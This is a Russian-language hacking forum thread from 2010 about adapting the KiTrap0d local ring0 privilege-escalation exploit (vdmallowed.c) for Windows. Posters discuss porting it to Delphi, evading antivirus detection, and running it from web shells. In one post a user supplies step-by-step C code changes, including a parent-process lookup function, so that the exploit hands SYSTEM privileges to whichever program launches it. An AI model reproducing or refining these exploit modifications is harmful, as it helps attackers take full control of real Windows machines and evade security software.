KiTrap0d local ring0 exploit на DELPHI

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by GlooK, 21 Jan 2010.

  1. GlooK

    GlooK Elder - Старейшина

    Joined:
    20 Apr 2007
    Messages:
    172
    Likes Received:
    53
    Reputations:
    10
    Возможно ли это?

    В С++ шарю не очень, хотя команды похожие.
    Подскажите, пожалуйста как сделать аналог на Delphi?

    vdmallowed.exe
    http://pastebin.com/m5f3df162

    Начал с этого:
    Code:
    CreateProcess(nil, 'C:\\WINDOWS\\SYSTEM32\\CMD.EXE', nil, nil, true, CREATE_NEW_CONSOLE, nil, nil, si, pi);
    
     
  2. Chrome~

    Chrome~ Elder - Старейшина

    Joined:
    13 Dec 2008
    Messages:
    936
    Likes Received:
    162
    Reputations:
    27
    Хм. Ну что ж... Неплохое и многообещающие начало! Самым лучшим вариантом было бы перевести код самого эксплоита на язык Delphi (на хабре выкладывали на C++).

    Но EXE уже антивирем палится.
     
  3. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    По идее там можно сделать так чтобы ничем не палилось и без лишней DLL )
    И даже не юзая debug.exe. Посмотри исходники и там быстро можно понять что и как.

    Но на делфи переделывать не советую. Будут баги конкретные, в особенности в плане кода исполняемого в ring0 (если чуть не так напишеш)
     
  4. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,296
    Reputations:
    327
    делаю без дэлэлэ, посморим че выйдет)
     
  5. GlooK

    GlooK Elder - Старейшина

    Joined:
    20 Apr 2007
    Messages:
    172
    Likes Received:
    53
    Reputations:
    10
    Оо, сэнкс. Будем ждать)
     
  6. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,296
    Reputations:
    327
    на си тока и я под вынь7 сделал. у меня тока тоталресеты, что говорит что работает но криво) разбираться уже сил нет)

    короче я пытался тока р0 исполнение запустить без копирования маркера с привелегиями но видимо не туда улетаю( а вмвару надо еще скачать мля
     

    Attached Files:

    #6 sn0w, 22 Jan 2010
    Last edited: 22 Jan 2010
  7. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Вообще сплоит чуть мутноват. т.е. периодически систему в бсод кидает.
    Я его чуть усовершенствовал. Теперь он не создает cmd с правами system.
    Теперь он дает права system для той проги которая запускает его.
    т.е. запускаем сплоит и та кто прога которая запустила его, сразу становится с правами system. Т.е. налог пингвиних рутовых сплоитов.
    Чуть позже мож выложу мой апдейт
     
  8. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Ну вот моя дороботка.
    В файле vdmallowed.c правим
    1) в начале добавляем #include <tlhelp32.h>
    2) полностью удаляем функцию PrepareProcessForSystemToken
    3) Этот код
    Code:
     if (PrepareProcessForSystemToken("C:\\WINDOWS\\SYSTEM32\\CMD.EXE", &ShellPid) != TRUE) {
            LogMessage(L_ERROR, "PrepareProcessForSystemToken() returned failure");
            goto finished; 
    }
    
    заменяем на этот
    Code:
    ShellPid = GetParentPID(); 
    if (!ShellPid)
    {
            LogMessage(L_ERROR, "GetParentPID() returned failure");
            goto finished; 
    }
    
    4) Вписываем вот эту функцию
    Code:
    ULONG GetParentPID()
    {
    	HANDLE h;
    	ULONG pid;
    	PROCESSENTRY32 pe32;
    	ULONG ret = 0;
    
    	pid = GetCurrentProcessId();
    
    	h = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    	if (h != INVALID_HANDLE_VALUE)
    	{
    		pe32.dwSize = sizeof(PROCESSENTRY32);
    
    		if (!Process32First(h, &pe32))
    		{
    			CloseHandle(h);
    			return 0;
    		}
    	
    		do
    		{
    			if (pe32.th32ProcessID == pid)
    			{
    				ret = pe32.th32ParentProcessID;
    				break;
    			}
    		} while (Process32Next(h, &pe32));
    
    		CloseHandle(h);
    	}
    
    	return ret;
    } 
    
    т.е. вся идея не в том, чтобы создать процес и получить его пид, а в том, чтобы узнать пид родителя.

    5) перед SpawnNTVDMAndGetUsefulAccess("C:\\WINDOWS\\SYSTEM32\\DEBUG.EXE", &VdmHandle)
    пишем:

    char buf[260];
    GetSystemDirectoryA(buf, 256);
    lstrcatA(buf, "\\debug.exe");
    SpawnNTVDMAndGetUsefulAccess("C:\\WINDOWS\\SYSTEM32\\DEBUG.EXE", &VdmHandle)
    заменяем на
    SpawnNTVDMAndGetUsefulAccess(buf, &VdmHandle)

    т.е. в данном случае мы не будем зависеть от диска на котором находится винда.
     
    #8 slesh, 23 Jan 2010
    Last edited: 23 Jan 2010
  9. GlooK

    GlooK Elder - Старейшина

    Joined:
    20 Apr 2007
    Messages:
    172
    Likes Received:
    53
    Reputations:
    10
    slesh, предложи что нить для delphi :)
    Может хоть dll'ку сделать, чтобы из нее эти функции запускать.
     
  10. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Ну так возьми сишный код самой проги, убери логирование и форми в виде DLL
    и функцию main назови по другому и сделай экспортируемой
     
  11. cheater_man

    cheater_man Member

    Joined:
    13 Nov 2009
    Messages:
    651
    Likes Received:
    44
    Reputations:
    7
    Блин а этот local exploit, походу можно переделать в remote :eek:
     
  12. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    2 cheater_man ты чем думаешь? Каким образом ты собрался выполнить удаленное досовское приложения? ты хоть сам понимаешь о чем говоришь?
     
  13. cheater_man

    cheater_man Member

    Joined:
    13 Nov 2009
    Messages:
    651
    Likes Received:
    44
    Reputations:
    7
    Нет ты меня не понял :) Тоесть например чтобы shell получал сразу права SYSTEM, а не те под которыми сидит юзер :) Бывает же такое иногда когда при получении cmd права бывают не SYSTEM.
     
  14. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    2 cheater_man Это всё равно не remote а local потому что запуск происходит уже локально.
    Кстити я тут так подумал и понял что врядли это получится. Дело вот в чем:
    1) если шел на Apache+Win то 99% что apache запущен из под SYSTEM так что тут не нужен експлоит
    2) Если это IIS+PHP то тут другая вешь. А именно - IIS почти всегда запущен от спец пользователя и практически всегда эту пользователю запрещен запуск прог. То как никрути ты эксплоит не сможеш запустить там.
     
  15. cheater_man

    cheater_man Member

    Joined:
    13 Nov 2009
    Messages:
    651
    Likes Received:
    44
    Reputations:
    7
    Согласен :)
     
  16. G.H.O.S.T.

    G.H.O.S.T. New Member

    Joined:
    18 Apr 2010
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    А без dll его возможно сделать? Чтобы только ExE-шник был, а то я в системном программировании профан совсем(